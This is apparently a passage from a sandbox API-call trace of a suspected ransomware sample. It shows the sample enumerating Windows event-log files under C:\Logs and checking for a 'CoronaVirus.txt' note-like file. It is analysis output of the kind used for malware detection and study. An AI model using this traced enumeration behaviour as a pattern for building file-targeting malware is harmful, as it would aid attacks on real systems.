	[0083.625] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0083.625] wcsncmp (_String1="Co", _String2="..", _MaxCount=0x2) returned 21
	[0083.625] malloc (_Size=0x1000) returned 0x2f576c0
	[0083.625] _swprintf (in: param_1=0x2f576c0, param_2="%s\\%s" | out: param_1="C:\\Logs\\CoronaVirus.txt") returned 23
	[0083.625] wcsstr (_Str="C:\\Logs\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0083.625] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x505ee5f0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x505ee5f0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="HardwareEvents.evtx", cAlternateFileName="HARDWA~1.EVT")) returned 1
	[0083.625] wcsncmp (_String1="H", _String2=".", _MaxCount=0x1) returned 26
	[0083.625] wcsncmp (_String1="Ha", _String2="..", _MaxCount=0x2) returned 26
	[0083.625] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x505a2134, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x505a2134, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer.evtx", cAlternateFileName="INTERN~1.EVT")) returned 1
	[0083.625] wcsncmp (_String1="I", _String2=".", _MaxCount=0x1) returned 27
	[0083.625] wcsncmp (_String1="In", _String2="..", _MaxCount=0x2) returned 27
	[0083.625] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5057bed8, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5057bed8, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Key Management Service.evtx", cAlternateFileName="KEYMAN~1.EVT")) returned 1
	[0083.625] wcsncmp (_String1="K", _String2=".", _MaxCount=0x1) returned 29
	[0083.625] wcsncmp (_String1="Ke", _String2="..", _MaxCount=0x2) returned 29
	[0083.625] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc1dbd7c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc1dbd7c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Client-Licensing-Platform%4Admin.evtx", cAlternateFileName="MICROS~1.EVT")) returned 1
	[0083.625] wcsncmp (_String1="M", _String2=".", _MaxCount=0x1) returned 31
	[0083.625] wcsncmp (_String1="Mi", _String2="..", _MaxCount=0x2) returned 31
	[0083.625] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca5d836e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xca5d836e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx", cAlternateFileName="MICROS~2.EVT")) returned 1
	[0083.625] wcsncmp (_String1="M", _String2=".", _MaxCount=0x1) returned 31
	[0083.625] wcsncmp (_String1="Mi", _String2="..", _MaxCount=0x2) returned 31
	[0083.626] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9206ac5, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9206ac5, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xf9c0f529, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx", cAlternateFileName="MICROS~3.EVT")) returned 1
	[0083.626] wcsncmp (_String1="M", _String2=".", _MaxCount=0x1) returned 31
	[0083.626] wcsncmp (_String1="Mi", _String2="..", _MaxCount=0x2) returned 31
	[0083.626] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4143825, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4143825, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppLocker%4EXE and DLL.evtx", cAlternateFileName="MICROS~4.EVT")) returned 1
	[0083.626] wcsncmp (_String1="M", _String2=".", _MaxCount=0x1) returned 31
	[0083.626] wcsncmp (_String1="Mi", _String2="..", _MaxCount=0x2) returned 31
	[0083.626] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4169a7a, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4169a7a, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppLocker%4MSI and Script.evtx", cAlternateFileName="MI2EEA~1.EVT")) returned 1
	[0083.626] wcsncmp (_String1="M", _String2=".", _MaxCount=0x1) returned 31
	[0083.626] wcsncmp (_String1="Mi", _String2="..", _MaxCount=0x2) returned 31
	[0083.626] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd418fcc3, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd418fcc3, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx", cAlternateFileName="MI07E1~1.EVT")) returned 1
	[0083.626] wcsncmp (_String1="M", _String2=".", _MaxCount=0x1) returned 31
	[0083.626] wcsncmp (_String1="Mi", _String2="..", _MaxCount=0x2) returned 31
	[0083.626] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd418fcc3, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd418fcc3, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx", cAlternateFileName="MI8196~1.EVT")) returned 1
	[0083.626] wcsncmp (_String1="M", _String2=".", _MaxCount=0x1) returned 31
	[0083.626] wcsncmp (_String1="Mi", _String2="..", _MaxCount=0x2) returned 31
	[0083.626] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd41b5f2d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd41b5f2d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppModel-Runtime%4Admin.evtx", cAlternateFileName="MIE36C~1.EVT")) returned 1
	[0083.626] wcsncmp (_String1="M", _String2=".", _MaxCount=0x1) returned 31
	[0083.626] wcsncmp (_String1="Mi", _String2="..", _MaxCount=0x2) returned 31
	[0083.626] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd389efbd, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd389efbd, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppReadiness%4Admin.evtx", cAlternateFileName="MIC5CB~1.EVT")) returned 1
	[0083.626] wcsncmp (_String1="M", _String2=".", _MaxCount=0x1) returned 31
	[0083.626] wcsncmp (_String1="Mi", _String2="..", _MaxCount=0x2) returned 31
	[0083.626] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd38c5212, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd38c5212, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x111000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppReadiness%4Operational.evtx", cAlternateFileName="MIF8AA~1.EVT")) returned 1
	[0083.626] wcsncmp (_String1="M", _String2=".", _MaxCount=0x1) returned 31
	[0083.626] wcsncmp (_String1="Mi", _String2="..", _MaxCount=0x2) returned 31
	[0083.626] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4143825, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4143825, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppXDeployment%4Operational.evtx", cAlternateFileName="MI34FE~1.EVT")) returned 1
	[0083.626] wcsncmp (_String1="M", _String2=".", _MaxCount=0x1) returned 31
	[0083.626] wcsncmp (_String1="Mi", _String2="..", _MaxCount=0x2) returned 31
	[0083.626] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5af3554f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5af3554f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x211000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppXDeploymentServer%4Operational.evtx", cAlternateFileName="MIA24C~1.EVT")) returned 1
	[0083.626] wcsncmp (_String1="M", _String2=".", _MaxCount=0x1) returned 31
	[0083.626] wcsncmp (_String1="Mi", _String2="..", _MaxCount=0x2) returned 31
	[0083.627] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5af3554f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5af3554f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx", cAlternateFileName="MIDBEC~1.EVT")) returned 1
	[0083.627] wcsncmp (_String1="M", _String2=".", _MaxCount=0x1) returned 31
	[0083.627] wcsncmp (_String1="Mi", _String2="..", _MaxCount=0x2) returned 31
	[0083.627] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85798667, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x85798667, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppxPackaging%4Operational.evtx", cAlternateFileName="MI54F1~1.EVT")) returned 1
	[0083.627] wcsncmp (_String1="M", _String2=".", _MaxCount=0x1) returned 31
	[0083.627] wcsncmp (_String1="Mi", _String2="..", _MaxCount=0x2) returned 31
	[0083.627] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd74d25ab, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd74d25ab, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx", cAlternateFileName="MI111F~1.EVT")) returned 1
	[0083.627] wcsncmp (_String1="M", _String2=".", _MaxCount=0x1) returned 31
	[0083.627] wcsncmp (_String1="Mi", _String2="..", _MaxCount=0x2) returned 31
	[0083.627] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1f96ca4, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xe1f96ca4, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Bits-Client%4Operational.evtx", cAlternateFileName="MI9465~1.EVT")) returned 1
	[0083.627] wcsncmp (_String1="M", _String2=".", _MaxCount=0x1) returned 31
	[0083.627] wcsncmp (_String1="Mi", _String2="..", _MaxCount=0x2) returned 31
	[0083.627] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8783aa15, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x8783aa15, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-CodeIntegrity%4Operational.evtx", cAlternateFileName="MI03A7~1.EVT")) returned 1
	[0083.627] wcsncmp (_String1="M", _String2=".", _MaxCount=0x1) returned 31
	[0083.627] wcsncmp (_String1="Mi", _String2="..", _MaxCount=0x2) returned 31
	[0083.627] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c3c71c5, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x8c3c71c5, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx", cAlternateFileName="MI5CA2~1.EVT")) returned 1
	[0083.627] wcsncmp (_String1="M", _String2=".", _MaxCount=0x1) returned 31
	[0083.627] wcsncmp (_String1="Mi", _String2="..", _MaxCount=0x2) returned 31
	[0083.627] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cc9231, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50cc9231, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx", cAlternateFileName="MI5FD1~1.EVT")) returned 1
	[0083.627] wcsncmp (_String1="M", _String2=".", _MaxCount=0x1) returned 31
	[0083.627] wcsncmp (_String1="Mi", _String2="..", _MaxCount=0x2) returned 31
	[0083.628] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ca2fbd, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ca2fbd, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Crypto-DPAPI%4Operational.evtx", cAlternateFileName="MI8BDF~1.EVT")) returned 1
	[0083.628] wcsncmp (_String1="M", _String2=".", _MaxCount=0x1) returned 31
	[0083.628] wcsncmp (_String1="Mi", _String2="..", _MaxCount=0x2) returned 31
	[0083.628] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c3ed420, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x8c3ed420, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx", cAlternateFileName="MIAEBD~1.EVT")) returned 1
	[0083.628] wcsncmp (_String1="M", _String2=".", _MaxCount=0x1) returned 31
	[0083.628] wcsncmp (_String1="Mi", _String2="..", _MaxCount=0x2) returned 31
	[0083.628] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cef47f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50cef47f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-DeviceSetupManager%4Admin.evtx", cAlternateFileName="MIA726~1.EVT")) returned 1
	[0083.628] wcsncmp (_String1="M", _String2=".", _MaxCount=0x1) returned 31
	[0083.628] wcsncmp (_String1="Mi", _String2="..", _MaxCount=0x2) returned 31
	[0083.628] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cc9231, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50cc9231, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-DeviceSetupManager%4Operational.evtx", cAlternateFileName="MI08CB~1.EVT")) returned 1
	[0083.628] wcsncmp (_String1="M", _String2=".", _MaxCount=0x1) returned 31
	[0083.628] wcsncmp (_String1="Mi", _String2="..", _MaxCount=0x2) returned 31
	[0083.628] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc967f17e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc967f17e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Dhcp-Client%4Admin.evtx", cAlternateFileName="MI8270~1.EVT")) returned 1
	[0083.628] wcsncmp (_String1="M", _String2=".", _MaxCount=0x1) returned 31
	[0083.628] wcsncmp (_String1="Mi", _String2="..", _MaxCount=0x2) returned 31
	[0083.628] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc96cb64b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc96cb64b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Dhcpv6-Client%4Admin.evtx", cAlternateFileName="MIEBFF~1.EVT")) returned 1
	[0083.628] wcsncmp (_String1="M", _String2=".", _MaxCount=0x1) returned 31
	[0083.628] wcsncmp (_String1="Mi", _String2="..", _MaxCount=0x2) returned 31
	[0083.628] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca64aa7b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xca64aa7b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Diagnosis-DPS%4Operational.evtx", cAlternateFileName="MI9F85~1.EVT")) returned 1
	[0083.628] wcsncmp (_String1="M", _String2=".", _MaxCount=0x1) returned 31
	[0083.628] wcsncmp (_String1="Mi", _String2="..", _MaxCount=0x2) returned 31
	[0083.628] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd9ec80, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xfd9ec80, ftLastAccessTime.dwHighDateTime=0x1d1a04f, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Diagnostics-Performance%4Operational.evtx", cAlternateFileName="MIBE3D~1.EVT")) returned 1
	[0083.628] wcsncmp (_String1="M", _String2=".", _MaxCount=0x1) returned 31
	[0083.628] wcsncmp (_String1="Mi", _String2="..", _MaxCount=0x2) returned 31
	[0083.628] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9658ef3, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9658ef3, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-GroupPolicy%4Operational.evtx", cAlternateFileName="MIE38D~1.EVT")) returned 1
	[0083.628] wcsncmp (_String1="M", _String2=".", _MaxCount=0x1) returned 31
	[0083.628] wcsncmp (_String1="Mi", _String2="..", _MaxCount=0x2) returned 31
	[0083.628] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9dcc480, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9dcc480, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-HotspotAuth%4Operational.evtx", cAlternateFileName="MIE386~1.EVT")) returned 1
	[0083.628] wcsncmp (_String1="M", _String2=".", _MaxCount=0x1) returned 31
	[0083.628] wcsncmp (_String1="Mi", _String2="..", _MaxCount=0x2) returned 31
	[0083.628] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50b4bacf, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50b4bacf, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx", cAlternateFileName="MI6B25~1.EVT")) returned 1
	[0083.629] wcsncmp (_String1="M", _String2=".", _MaxCount=0x1) returned 31
	[0083.629] wcsncmp (_String1="Mi", _String2="..", _MaxCount=0x2) returned 31
